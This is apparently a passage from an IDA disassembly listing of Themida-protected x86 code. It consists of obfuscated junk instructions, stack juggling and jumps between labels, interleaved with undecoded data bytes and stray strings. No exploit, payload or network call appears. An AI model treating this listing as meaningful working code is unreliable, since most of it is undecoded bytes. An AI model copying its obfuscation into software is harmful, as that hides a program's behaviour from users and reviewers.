--------------------------------------------------------------------------- loc_554AF6: ; CODE XREF: Themida_:00564998j mov edx, 5E2545ADh add ebx, edx pop edx sub ebx, 6D631E67h push dword ptr [esp] pop ecx add esp, 4 xchg ebx, [esp] pop esp push ecx mov ecx, esp add ecx, 4 jmp loc_564CE9 ; --------------------------------------------------------------------------- dd 24048F5Dh, 1489665Ch, 9C506624h, 0FFACE5E9h, 94F181FFh dd 0E9AEFAB3h, 9FA1h, 63532EBFh, 0FFEF831Bh, 9750E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554B4A: ; CODE XREF: Themida_:0056297Bj or ebp, 3271533Ch sub esp, 4 mov [esp], ebx mov ebx, 67F14DDFh or ebx, 6EA22BF3h dec ebx shl ebx, 5 add ebx, 40210C8Ah xor ebx, 7D2B6DBEh and ebp, ebx jmp loc_555524 ; --------------------------------------------------------------------------- db 53h dd 9CE9E389h, 57000016h, 0E0E9E789h, 410000B0h, 0C102E1C1h dd 0E98107E9h, 8C4BE6h, 9B51E9h, 89F08900h, 0D181E9C3h dd 685EFFFFh, 3875h, 0D8A2E9h, 1F73B900h, 0FFBB475Ch, 100E052h dd 0EA8159CBh, 7B71127Eh, 0C281DA29h, 7B71127Eh, 0EC835F5Bh dd 242C8904h, 2BDh, 4DC28100h, 81322F0Eh, 52BB4EAh, 0E9EA0179h dd 297Ah, 50CFF580h, 0B1E9A0B0h, 83000012h, 74E904C3h dd 89000000h, 0D9F75BD9h, 1A02E949h, 0E6810000h, 2FFA7A30h dd 0F681D6F7h, 0DBC7AFDBh, 15EF089h, 900DE9C1h, 0FD010000h dd 2189ED81h, 505F3710h, 2B8h, 3CED8100h, 0E937715Dh, 72AEh dd 0E9243C8Bh, 0B3EBh, 4C781h, 0EF830000h, 243C8704h, 0F245E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554C56: ; CODE XREF: Themida_:005592D4j pop ebp xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_554A00 ; --------------------------------------------------------------------------- aBuOs1 db '',9,8,'o1',0 dw 8700h dd 15C241Ch, 0BF685FF9h, 8900007Bh, 74FF240Ch, 0C8B0424h dd 6AA4E924h, 0C6010000h, 5EF08958h, 5852548h, 0C6253D09h dd 68166866h, 36B3h, 0BD242C89h, 641657A6h, 2F64F581h dd 9E96E9Ah, 0F700007Fh, 0FE0540D0h, 0E99F693Fh, 6EE6h ; --------------------------------------------------------------------------- loc_554CC4: ; CODE XREF: Themida_:0055BEABj pop edx push ebp push ecx mov ecx, 11C42072h mov ebp, 8057931Eh sub ebp, ecx pop ecx dec ebp inc ebp jmp loc_55DDD7 ; --------------------------------------------------------------------------- db 89h dd 5B54241Ch, 0DC00E9h, 0E5EF8100h, 0E9257504h, 0FFFFB4A1h dd 4CC4C781h, 0FB09F7A9h, 0E9243C8Bh, 1E8Ch ; --------------------------------------------------------------------------- loc_554D00: ; CODE XREF: Themida_:00564F63j add ebp, edx jmp loc_561B94 ; --------------------------------------------------------------------------- loc_554D07: ; CODE XREF: Themida_:0055C3D7j mov edx, 0FFFFFFFFh add ebx, edx pop edx sub ebx, 7F046EFAh push 45BCh mov [esp], ebx jmp loc_5506BE ; --------------------------------------------------------------------------- dw 483h dd 565F0424h, 6B1BBB53h, 0C3817CDEh, 0D257A8C6h, 5B17E9h dd 0CF815800h, 38B41C5Ah, 3A7ABE56h, 0F0E91F1Fh, 5AFFFFCAh dd 0F2ED80h, 240C8BE8h, 0E904C483h, 0DEB8h ; --------------------------------------------------------------------------- loc_554D5C: ; CODE XREF: Themida_:0056445Fj add esp, 4 jmp loc_556264 ; --------------------------------------------------------------------------- dd 565BD901h, 55C1E952h, 0EA800000h, 0E9D000D3h, 0BF7Eh dd 629BC681h, 0CE01430Ch, 5646E9h, 3B1D6800h, 2C8B148Dh dd 4C48124h, 83000000h, 8145FFEDh, 4ECh, 240C8900h, 85FDE9h dd 0CBA5200h, 0F7321114h, 8DCA81D2h, 0C133FE49h, 0D2F704E2h dd 7F58F281h, 0D1310E38h, 66E9815Ah, 814D607Ah, 0A577A4C1h dd 8BCF313Ch, 0C483240Ch, 0CAF78104h, 1D8D308h, 0EDE95FFBh dd 81FFFFFAh, 4ECh, 24148900h, 4BAh, 0F0E0E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554DF6: ; CODE XREF: Themida_:0055FFD4j sub edi, 29D10475h jmp loc_558C10 ; --------------------------------------------------------------------------- aCbuWu?ziezis db 'CW?E',0 align 2 loc_554E12: ; CODE XREF: Themida_:005541ABj mov edx, 0FFFFFFFFh sub esp, 4 mov [esp], eax mov eax, 6AE966BAh jmp loc_5530AD ; --------------------------------------------------------------------------- loc_554E2A: ; CODE XREF: Themida_:00561FD8j mov ecx, [ebx] push dword ptr [esp] pop ebx jmp loc_557DB3 ; --------------------------------------------------------------------------- loc_554E35: ; CODE XREF: Themida_:0055548Dj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp shl eax, 1 push ebp mov ebp, 28C346C6h dec ebp sub ebp, 0CA62350h not ebp push esi push edi mov edi, 457B6BB6h jmp loc_561F2A ; --------------------------------------------------------------------------- dw 0E2C0h dd 6EB45005h, 0EC80E4D0h, 3607E93Ch, 0CB010000h, 508E9h dd 0CEBA5200h, 29317C6Bh, 0FF5D5AD1h, 0E95F2434h, 0CE4Dh dd 0E86AABBAh, 0F6A8E975h, 0EC830000h, 0CA98E904h, 4BB0000h dd 1000000h, 241C8BD8h, 0EE38E9h, 64300500h, 0C6893B64h dd 22FC6858h, 4890000h, 4F2FB824h, 0C7E91E25h, 56FFFFFDh dd 0FE4171BEh, 5EF00155h, 2404875Dh, 240C895Ch, 3AE95954h dd 680000B5h, 53947h, 0FF2434FFh, 48B2434h, 0EFE95224h dd 810000F3h, 4C7h, 4C5FE900h, 2D5D0000h, 5D9859CDh, 0CD05D001h dd 55D9859h, 1DE46C7Ch, 2B02BB53h, 0D6057866h, 29451D46h dd 0FFFE9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554F22: ; CODE XREF: Themida_:00563AACj pop eax jmp loc_561FC3 ; --------------------------------------------------------------------------- dd 0BE56E189h, 4, 555EF101h, 3A5C37BDh, 0D236E942h, 34870000h dd 24248B24h, 582434FFh, 0FFE619E9h db 0FFh ; --------------------------------------------------------------------------- loc_554F4D: ; CODE XREF: Themida_:0055EEEBj add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] shr ecx, 7 push dword ptr [edi+1Ch] jmp loc_552DC4 ; --------------------------------------------------------------------------- db 51h dd 0FE514AB9h, 0E181413Fh, 64365475h, 0F181D9F7h, 24670696h dd 5F8BF181h, 0F18154B1h, 0DDABE527h, 45FBEB81h, 0F6E90FF1h dd 5C000013h, 51241C89h, 0EB880CB5h, 386EE959h, 4890000h dd 2434FF24h, 5B2434FFh, 188E68h, 0CF73E900h, 0C481FFFFh dd 4, 2C581h, 0FF550000h, 5D042474h, 5C24048Fh, 9C2424D3h dd 0FFA841E9h, 0D7F747FFh, 49B4C781h, 7C3163D3h, 0E95F0424h dd 24C9h, 0F6B0B050h, 0FC04D8h, 0EA2858C2h, 0FFC1D9E9h dd 0D0E956FFh, 550000E2h, 26E95D5Eh, 87000002h, 0E95C241Ch dd 0A23Ah, 240C8B66h, 4EC8351h, 24048F54h, 4240481h, 8B000000h dd 0C481240Ch, 4, 4C181h, 83570000h, 148904ECh, 49026824h dd 0E95A7D35h, 2C78h, 15AD789h, 0C54E9FBh, 0EB810000h dd 512F0239h, 15EBEB81h, 815E42FFh, 0B4343DEEh, 81DE0108h dd 0B4343DC6h, 241C8B08h, 8104C483h, 2C6h, 0A823E900h dd 835F0000h, 63E904C4h, 57FFFFBDh, 0C42FE9h, 5FFE3100h dd 69E9F789h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555093: ; CODE XREF: Themida_:0056435Fj mov eax, esp add eax, 4 jmp loc_555BE3 ; --------------------------------------------------------------------------- db 68h dd 2AAh, 51241489h, 4B08EBB9h, 0C61FE960h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5550B2: ; CODE XREF: Themida_:00561EEDj pop edx jmp loc_55A13C ; --------------------------------------------------------------------------- dd 48BC731h, 4C48124h, 81000000h, 5A3399EFh, 7EDC685Eh dd 0C890000h, 54F7B924h, 2FE923FFh, 8B00004Ch, 0C481241Ch dd 4, 4C381h, 0BD550000h, 4, 875DEB29h, 895C241Ch, 54572414h dd 81243C8Bh, 4C4h, 0FB3AE900h, 0D5F7FFFFh, 0D9A4E9h db 0 ; --------------------------------------------------------------------------- loc_555111: ; CODE XREF: Themida_:005613C8j pop eax mov edx, edi pop edi push edx mov edx, 6935373Ah shl edx, 1 push edi mov edi, 1FD16225h inc edi sub edi, 8E8FB92h and edx, edi mov edi, [esp] add esp, 4 jmp loc_56084D ; --------------------------------------------------------------------------- dw 0F681h dd 70329A6Bh, 7AE9F201h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555147: ; CODE XREF: Themida_:0055B664j xor eax, 4D5D30C7h add ebp, eax pop eax push eax mov eax, 4 add ebp, 223E5BE2h sub ebp, eax push ecx mov ecx, 223E5BE2h sub ebp, ecx jmp loc_55D03D ; --------------------------------------------------------------------------- dw 582Dh dd 5095913h, 15FF491Ah, 0E9E9D001h, 4F000033h, 3E0BE9h dd 0AB85000h, 100CC22h, 2EB6E9C6h, 8B660000h, 26682404h dd 89000044h, 2E68242Ch, 89000070h, 4812424h, 424h, 2434FF00h dd 178B685Dh, 34890000h, 0C800E924h, 42BAFFFFh, 8169565Bh dd 0F629C4CAh, 4EC8364h, 8D57E9h, 1C77FF00h, 1858669Dh dd 0E99C2404h, 0FFFFA63Ah, 190DE95Ah, 0C890000h, 6FB5E924h dd 34890000h, 76CE6824h, 32E90000h, 83FFFFAAh, 5E042404h dd 4C681h, 16680000h, 8900001Ch, 4B82404h, 1000000h, 2434FFC6h dd 4C48358h, 35CAE9h, 12E95500h, 89FFFFBAh, 0E189240Ch dd 0FFFDCCE9h, 56D5F7FFh, 815D5E55h, 111246C6h, 8BF7010Dh dd 0C4832434h, 3FEF8104h, 5E41E742h, 31243C33h, 0DDE9243Ch dd 0F700002Eh, 4E0C1D8h, 0E5029025h, 1980253Dh, 0E7E97EF8h dd 56000038h, 0FC9CE9h, 4FC78100h, 0FF257051h, 835E2434h dd 2C8904ECh, 6BE6824h, 24890000h, 24048324h, 1283E904h dd 0B9510000h, 431A4963h, 0B959CA89h, 8CED2A3h, 78CAC181h dd 0D101096Ah, 78CAE981h, 148B096Ah, 4C48124h, 1000000h dd 0C28159CAh, 2EDE4DC4h, 577FE9h, 582D5C00h, 120D603h dd 35805E8h, 2C8B20D6h, 4C48324h, 0FFE885E9h, 0BBE958FFh dd 81000077h, 0BF5B83C2h, 0A779E933h, 0C483FFFFh, 98D6E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5552F2: ; CODE XREF: Themida_:005582BDj mov [esp], eax mov eax, 4 add [esp+4], eax pop eax mov ecx, [esp] add esp, 4 add ecx, 4 add ecx, 4 jmp loc_55871F ; --------------------------------------------------------------------------- dw 895Ch dd 4FE92404h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_55531F: ; CODE XREF: Themida_:0054F81Cj mov dh, 3Fh shr dh, 8 push ecx jmp loc_562B42 ; --------------------------------------------------------------------------- dw 4F4Fh dd 8102EFC1h, 0B91C6CC7h, 5FF829E1h, 1CD8BB53h, 0EB815DFCh dd 9DB9FF7h, 45E9D829h, 10000D3h, 8C685EF0h, 8900005Ah dd 0CAE9243Ch db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55535B: ; CODE XREF: Themida_:00555769j mov eax, 65510129h xor [esp+4], eax mov eax, [esp] jmp loc_560AF8 ; --------------------------------------------------------------------------- loc_55536C: ; CODE XREF: Themida_:00551BD7j sub cl, 7Ah jmp loc_55A7BF ; --------------------------------------------------------------------------- loc_555374: ; CODE XREF: Themida_:00561F39j sub ebp, 6E166BE1h sub ebp, esi jmp loc_55774A ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 90EEE9h, 6F68100h, 4E144628h, 4EC81h, 0E6E90000h, 0B9000079h dd 68491A22h, 1238E9h, 81E78900h, 4C7h, 4EF8100h, 87000000h dd 895C243Ch, 40E92414h, 68000070h, 1D7B3EECh, 0E8C2815Ah dd 5170066Ch, 0DC06FBB9h, 59CA3123h, 0BACEE956h, 2D580000h dd 43801742h, 0B6088105h, 7E0C107h, 0FFFAC0E9h, 5BDA88FFh dd 44E9D188h, 810000ADh, 4C3h, 241C3300h, 0E9241C31h, 6425h dd 7C6E95Bh, 34FF0000h, 0C4815F24h, 4, 0C73AE9h, 4337BE00h dd 0F701E83Bh, 0B4BEE9h, 24248900h, 0FFFDC6E9h, 0EA815AFFh dd 5D2008A0h, 5AD00158h, 6A8DE950h, 0E2C10000h, 15B95107h dd 0E91C9841h, 5C92h, 8324148Bh, 0E36804C4h, 89000063h dd 84B7241Ch, 6AE9FA88h, 0B90000D9h, 0FF145FBh, 57C5EB81h dd 5BE93EB7h db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_555477: ; CODE XREF: Themida_:0055BFB6j push eax push 2513h mov [esp], edi push 0EDD400Ah pop edi mov eax, edi push dword ptr [esp] pop edi push eax jmp loc_554E35 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0E9240C89h, 0FFFFBAD5h, 555FF901h, 3BD068h, 243C8900h dd 0C26719BFh, 8E7C16Fh, 6641F781h, 0E953294Ch, 4B32h dd 295FFE29h, 4CE957EEh, 890000B4h, 1B9240Ch, 68261A2Fh dd 5FFBh, 68242C89h, 60222B09h, 83242C8Bh, 0E92904C4h dd 81242C8Bh, 4C4h, 0EBE5600h, 810DCB58h, 0D35412EEh, 8BF13147h dd 6EE92434h, 8B0000D0h, 2DE92414h, 29FFFFECh, 2DBD55D8h dd 813A311Dh, 23A301EDh, 0E9E829E2h, 0E40Fh ; --------------------------------------------------------------------------- loc_555524: ; CODE XREF: Themida_:00554B76j pop ebx shr ebp, 8 push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_562131 ; --------------------------------------------------------------------------- loc_55553F: ; CODE XREF: Themida_:0055246Fj mov edi, ebx pop ebx push eax jmp loc_562328 ; --------------------------------------------------------------------------- dd 4C4815Ah, 68000000h, 7785h, 89242C89h, 4C581E5h, 0E9000000h dd 9914h ; --------------------------------------------------------------------------- loc_555564: ; CODE XREF: Themida_:0056116Cj shr eax, 8 xor eax, 1A4A10B7h jmp loc_55F16A ; --------------------------------------------------------------------------- db 5, 4, 0 dd 40E90000h, 83000071h, 143304C4h, 24143124h, 8B241433h dd 87E92424h, 0FFFFFFA2h, 48B2434h, 4C48124h, 83000000h dd 148904ECh, 7AEE924h, 0EFC10000h, 4DCF8102h, 8120285Dh dd 0BD7DFBF7h, 598CE926h, 0BBBB0000h, 430B8408h, 7B38C381h dd 0DE310DB9h, 62EF815Bh, 153B116h, 62C781F7h, 5E53B116h dd 8304EF83h, 1E904ECh, 81000014h, 0BD36F6E3h, 1CEB8154h dd 1042420h, 34335BDEh, 24343124h, 5C243433h, 8B2434FFh dd 0EC832404h, 242C8904h, 0C581E589h, 4, 5504C583h, 42474FFh dd 24048F5Dh, 8124248Bh, 4ECh, 243C8900h, 7B68E789h, 89000078h dd 4B9240Ch, 81000000h, 0A60074C7h, 0E5B8501Ch, 81572F5Eh dd 0A32B70C7h, 81C70157h, 0A32B70EFh, 0D5EBE957h, 3FBD0000h dd 0E91B897Eh, 0B5EEh ; --------------------------------------------------------------------------- loc_555660: ; CODE XREF: Themida_:00564E08j shr edi, 2 xor edi, 337929E9h add ecx, 7BED079Fh jmp loc_563DF4 ; --------------------------------------------------------------------------- loc_555674: ; CODE XREF: Themida_:005576CBj pop ebx push dword ptr [esp] mov eax, [esp] add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_55EB3A ; --------------------------------------------------------------------------- loc_555693: ; CODE XREF: Themida_:0055F4ABj add esp, 4 loc_555699: ; CODE XREF: Themida_:0055CCC0j push 4397h mov [esp], esi push ebx push dword ptr [esp] jmp loc_5592BA ; --------------------------------------------------------------------------- dw 8159h dd 0FB3F72E1h, 1C29E97Dh, 0E9810000h, 3C7F6FC1h, 2DAAE9h dd 5DEB2900h, 5C241C87h, 89241489h, 4EC81E2h, 89000000h dd 0EBD242Ch, 0C122B443h, 0D5F702EDh, 0B2E9h, 5A006800h dd 0C890000h, 2BE5624h, 89000000h, 0CA015EF1h, 592434FFh dd 0D684E9h, 0E9E28900h, 7272h ; --------------------------------------------------------------------------- loc_555708: ; CODE XREF: Themida_:0055835Cj push eax mov ecx, [esp] sub esp, 4 jmp loc_55A14A ; --------------------------------------------------------------------------- aYsa db 'Y',0 align 2 loc_55571A: ; CODE XREF: Themida_:00553277j pop ecx jmp loc_55F6B0 ; --------------------------------------------------------------------------- loc_555720: ; CODE XREF: Themida_:0055194Cj sub edi, 4 xchg edi, [esp] jmp loc_557C33 ; --------------------------------------------------------------------------- loc_55572B: ; CODE XREF: Themida_:00563143j add ecx, eax push ebx mov ebx, 0 jmp loc_552638 ; --------------------------------------------------------------------------- dd 99BA525Bh, 2957CE54h, 2434FFD7h, 4C4815Ah, 81000000h dd 0E74450C7h, 0DD33E943h, 77FF0000h, 59669D1Ch, 2414D366h dd 0A0B0E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555766: ; CODE XREF: Themida_:005560C9j mov [esp], eax jmp loc_55535B ; --------------------------------------------------------------------------- dw 0FCB8h dd 294E8960h, 24048BC7h, 0E904C483h, 9B29h ; --------------------------------------------------------------------------- loc_555780: ; CODE XREF: Themida_:00550AD1j add esp, 4 jmp loc_556A1F ; --------------------------------------------------------------------------- db 0BFh dd 4FA71FDBh, 3E9D7F7h, 53FFFFBFh, 4EC8351h, 0BA241489h dd 4C3D50CCh, 0F260E9h db 0 ; --------------------------------------------------------------------------- loc_5557A9: ; CODE XREF: Themida_:00558273j pop ecx jmp loc_55C133 ; --------------------------------------------------------------------------- db 0C1h dd 0D6F706E6h, 189FC681h, 0EE812A47h, 0CD35FF1Ah, 685EF001h dd 3B1h, 50240C89h, 1608768h, 0E9E9580Bh db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5557D7: ; CODE XREF: Themida_:00553EE3j not ebp add ebp, 89769A15h mov ecx, ebp pop ebp add ebp, ecx jmp loc_564F27 ; --------------------------------------------------------------------------- db 5Bh, 81h, 0EEh dd 39922D1Ah, 0C681CE01h, 39922D1Ah, 4C68159h, 33000000h dd 34312434h, 24343324h, 97C4E95Ch, 0A4680000h, 89000061h dd 0E950240Ch, 9AC6h, 0E9243C8Bh, 45D5h, 0F674E953h, 0E953FFFFh dd 5CB1h, 4BE56h, 10E90000h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55583B: ; CODE XREF: Themida_:00556152j add esp, 4 jmp loc_552437 ; --------------------------------------------------------------------------- dw 0F2BDh a8SSDUxIss db '8',27h,9,']SD+X%',0 dw 500h dd 7552274Ch, 4C2DC801h, 59755227h, 52B5E9h db 0 ; --------------------------------------------------------------------------- loc_55586D: ; CODE XREF: Themida_:00552F7Aj push esp mov esi, [esp] add esp, 4 jmp loc_55E68E ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 4, 4BF5759h, 815AAB4Dh, 0D57368C7h, 6EFC127h, 0FFC574E9h dd 4E5C1FFh, 137BB53h, 0EB81161Bh, 9E73F65h, 2457E9h, 24248B00h dd 0FFD874E9h db 0FFh ; --------------------------------------------------------------------------- loc_5558B1: ; CODE XREF: Themida_:0055D3E8j add esp, 4 push 440Ch mov [esp], ebp sub esp, 4 jmp loc_5559C3 ; --------------------------------------------------------------------------- dw 0C89h aSzq db '$Z',0 align 2 a3S db '3,$-',0 align 2 dw 0B753h dd 0C0D7F6DFh, 0DFF602EFh, 8076CF80h, 0FE2841EFh, 3BE5E9h dd 0C4815A00h, 4, 2253F381h, 505167C9h, 0A04CB2B8h, 83BD556Bh dd 4D4D3A54h, 8102E5C1h, 557A4EEDh, 4CC5817Eh, 81443A1Fh dd 2F05CEEDh, 8BE82903h, 0C481242Ch, 4, 32E9C189h db 0C0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555933: ; CODE XREF: Themida_:0055068Ej and eax, edx jmp loc_55D77F ; --------------------------------------------------------------------------- dw 0EE81h dd 0D23876B6h, 0E95EF301h, 457Ah, 13BB0558h, 47E969DCh dd 4A00006Dh, 0C3AE281h, 81422FD9h, 0E23609F2h, 698BE913h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555966: ; CODE XREF: Themida_:0055A96Fj not edi jmp loc_550921 ; --------------------------------------------------------------------------- db 29h, 0F5h, 87h dd 0E9515DEEh, 0FFFFD5C3h ; --------------------------------------------------------------------------- loc_555978: ; CODE XREF: Themida_:00563A46j sub [esp], eax jmp loc_560158 ; --------------------------------------------------------------------------- dd 5A2434FFh, 4C481h, 0C2810000h, 4, 4EC8351h, 0FFE930E9h dd 240C89FFh, 456E68h, 241C8900h, 0FFDE33E9h, 576B68FFh dd 88E90000h, 0B9000099h, 4A400EC2h, 56C9E981h, 0B5E95E9Ch db 0E3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5559C3: ; CODE XREF: Themida_:005558C5j mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_55D43A ; --------------------------------------------------------------------------- db 68h dd 1601h, 3F2FE9h, 0E9525700h, 4F08h, 966A6BB9h, 55D1F705h dd 2233B5BDh, 81D5F722h, 0E4A3CCF5h, 5DE931E8h, 4E9C149h dd 0A948E9h db 0 ; --------------------------------------------------------------------------- loc_555A05: ; CODE XREF: Themida_:00561C34j xor [esp], eax jmp loc_55D3ED ; --------------------------------------------------------------------------- loc_555A0D: ; CODE XREF: Themida_:005512D2j mov esp, [esp] mov [esp], ebp push 0CAB097Eh pop ebp mov edx, 6112947h jmp loc_551B8B ; --------------------------------------------------------------------------- db 89h dd 0A7BBE9E1h, 0E959FFFFh, 80BBh ; --------------------------------------------------------------------------- loc_555A30: ; CODE XREF: Themida_:00551589j pop esi jmp loc_55FC63 ; --------------------------------------------------------------------------- loc_555A36: ; CODE XREF: Themida_:005600AEj xchg edx, [esp] mov esp, [esp] mov [esp], ebx push edx push ecx mov ecx, 27051191h mov edx, 31FC879Dh sub edx, ecx pop ecx push ecx mov ecx, esp jmp loc_56254A ; --------------------------------------------------------------------------- loc_555A56: ; CODE XREF: Themida_:00556ECEj mov ebx, 0DCF6512h not ebx shr ebx, 3 jmp loc_558025 ; --------------------------------------------------------------------------- loc_555A65: ; CODE XREF: Themida_:0055E0A5j neg esi sub esi, 422E4573h jmp loc_55B15F ; --------------------------------------------------------------------------- a1Ysbb db '1YbB',0 align 2 dw 0C8Bh dd 5E545624h, 4C681h, 7E90000h, 8100005Bh, 0D65306F7h dd 0FFEF834Bh, 2493E9h, 0B5516600h, 0C9C2801Dh, 0FFF543E9h db 0FFh ; --------------------------------------------------------------------------- loc_555AA5: ; CODE XREF: Themida_:00557730j add eax, 715495B0h jmp loc_553F15 ; --------------------------------------------------------------------------- loc_555AAF: ; CODE XREF: Themida_:00550718j pop eax mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg ecx, [esp] mov esp, [esp] jmp loc_564795 ; --------------------------------------------------------------------------- loc_555AD1: ; CODE XREF: Themida_:0055FEF3j push 53BD662Fh pop edi sub edi, 53BD662Eh jmp loc_5590ED ; --------------------------------------------------------------------------- dw 0E189h dd 4C181h, 0B1E90000h db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555AEF: ; CODE XREF: Themida_:0055D192j push eax mov eax, 3309314Bh jmp loc_55762D ; --------------------------------------------------------------------------- dw 1C89h dd 3F0FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555B02: ; CODE XREF: Themida_:0055A934j add ebp, 2F50072Eh push eax jmp loc_55DABA ; --------------------------------------------------------------------------- loc_555B0E: ; CODE XREF: Themida_:0054FF45j add esi, 4ECF4E2Dh sub esi, 0E871114Fh sub esi, 0F6664E9h add ecx, esi pop esi sub edx, 63A279A7h add edx, ecx push ecx mov ecx, 63A279A7h add edx, ecx mov ecx, [esp] jmp loc_55AD99 ; --------------------------------------------------------------------------- aWsv db ']W',0 align 2 loc_555B42: ; CODE XREF: Themida_:00558493j xor ecx, eax push 2A38h mov [esp], ebp mov ebp, ebx push 4643h mov [esp], ebp mov eax, [esp] add esp, 4 push dword ptr [esp] mov ebp, [esp] jmp loc_55970F ; --------------------------------------------------------------------------- loc_555B6A: ; CODE XREF: Themida_:00559BDEj pop ebx and esi, 67BB3427h add esi, 0CBC8AD74h add ecx, 6EBF3015h sub ecx, esi push ebp mov ebp, 7335492Ch and ebp, 5B253383h jmp loc_5522AB ; --------------------------------------------------------------------------- loc_555B90: ; CODE XREF: Themida_:005580E3j mov edx, [esp] add esp, 4 shr ecx, 0Ah sub esp, 4 mov [esp], edi push 5D06h mov [esp], ebx sub dword ptr [esp], 3D1F14D6h push dword ptr [esp] pop edi add esp, 4 push edx jmp loc_5606F1 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4EC8300h, 0FF243C89h, 8B042474h, 0E951243Ch, 0FFFFBBCDh dd 8B24048Fh, 0C892424h, 1CE95224h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555BE3: ; CODE XREF: Themida_:0055509Aj sub eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_55E74A ; --------------------------------------------------------------------------- aSs db 'S^',0 align 4 dd 1980C281h, 0D96847A7h, 89000026h, 0B9512404h, 7A632474h dd 10E9C889h, 5C00001Dh, 0FFC2B8E9h db 0FFh ; --------------------------------------------------------------------------- loc_555C1D: ; CODE XREF: Themida_:0055C864j mov ebp, 4 jmp loc_5511DE ; --------------------------------------------------------------------------- db 51h dd 0CF00E9h db 0 ; --------------------------------------------------------------------------- loc_555C2D: ; CODE XREF: Themida_:0054F9DDj mov esp, [esp] jmp loc_559E74 ; --------------------------------------------------------------------------- db 35h, 0E5h, 15h dd 3D355B0Dh, 2D379513h, 49D0E889h, 2958C289h, 0FB015AD7h dd 0FFAE15E9h db 0FFh ; --------------------------------------------------------------------------- loc_555C51: ; CODE XREF: Themida_:00564A86j add al, bh sub al, 6Dh mov bx, [esp] add esp, 2 sub esp, 2 mov [esp], cx sub esp, 4 mov [esp], ebx mov bh, 0EBh mov cl, 0A7h jmp loc_5536D7 ; --------------------------------------------------------------------------- loc_555C75: ; CODE XREF: Themida_:0055463Dj sub eax, 67C85EB1h push eax mov eax, 2166FF8h add ebx, eax pop eax add ebx, eax sub ebx, 2166FF8h jmp loc_552D1C ; --------------------------------------------------------------------------- dd 0F707EEC1h, 8024E9D6h, 89510000h, 5DDFE9E1h, 34FF0000h dd 0F3D0E924h, 481FFFFh, 424h, 243C8B00h, 4C481h, 0C7810000h dd 4, 4BA52h, 32E90000h, 0B80000E8h, 4, 4FFE981h, 0B9E951BDh db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_555CDB: ; CODE XREF: Themida_:00557BF6j push 4E1Ch mov [esp], esp sub esp, 4 mov [esp], ecx push edx push 18324DD9h pop edx or edx, 5E765030h xor edx, 5E765DFDh jmp loc_556C42 ; --------------------------------------------------------------------------- dd 6512A68h, 5DE95874h, 810000BEh, 4C2h, 4B85000h, 1000000h dd 148758C2h, 0C335C24h, 240C3124h, 0E9240C33h, 0C761h dd 0EB80EB28h, 0D095E942h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555D3A: ; CODE XREF: Themida_:00557F5Cj push ebp jmp loc_56184E ; --------------------------------------------------------------------------- loc_555D40: ; CODE XREF: Themida_:0055419Cj add dl, 0FAh jmp loc_55DE5E ; --------------------------------------------------------------------------- loc_555D48: ; CODE XREF: Themida_:00556ACFj push dword ptr [esp] pop esi push ebx mov ebx, esp jmp loc_563F2F ; --------------------------------------------------------------------------- aItsius db 'S ',0 align 2 loc_555D5E: ; CODE XREF: Themida_:0055F052j push dword ptr [esp] mov eax, [esp] add esp, 4 push ebp push esp pop ebp push eax mov eax, 47033844h dec eax add eax, 0B8FCC7C1h add ebp, eax pop eax add ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_557780 ; --------------------------------------------------------------------------- db 68h, 9Ch, 2Ah dd 15E90000h db 0C0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555D97: ; CODE XREF: Themida_:0055E40Dj pop eax mov ebp, [esp] add esp, 4 jmp loc_55D352 ; --------------------------------------------------------------------------- loc_555DA6: ; CODE XREF: Themida_:0055D3C2j mov ecx, 7E111E17h xor esi, ecx jmp loc_5541A1 ; --------------------------------------------------------------------------- dw 0F800h dd 0E9F0005Bh, 57DEh, 5C241487h, 0FFB009E9h, 4EB81FFh dd 53000000h, 42474FFh, 0FFF633E9h, 80D186FFh, 0CB2802C1h dd 4E516859h, 2C890000h, 0C92FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555DEA: ; CODE XREF: Themida_:00564A2Aj mov ecx, 4 jmp loc_55477F ; --------------------------------------------------------------------------- dd 6824248Bh, 1744h, 0E9241489h, 0FFFFA1DDh, 33243431h dd 248B2434h, 48B6624h, 3F236824h, 0CFE90000h, 66FFFFF3h dd 52240C8Bh, 0E956E9h db 0 ; --------------------------------------------------------------------------- loc_555E25: ; CODE XREF: Themida_:0055E520j xor eax, 7EC50DF0h sub eax, 594E687Bh jmp loc_55E423 ; --------------------------------------------------------------------------- 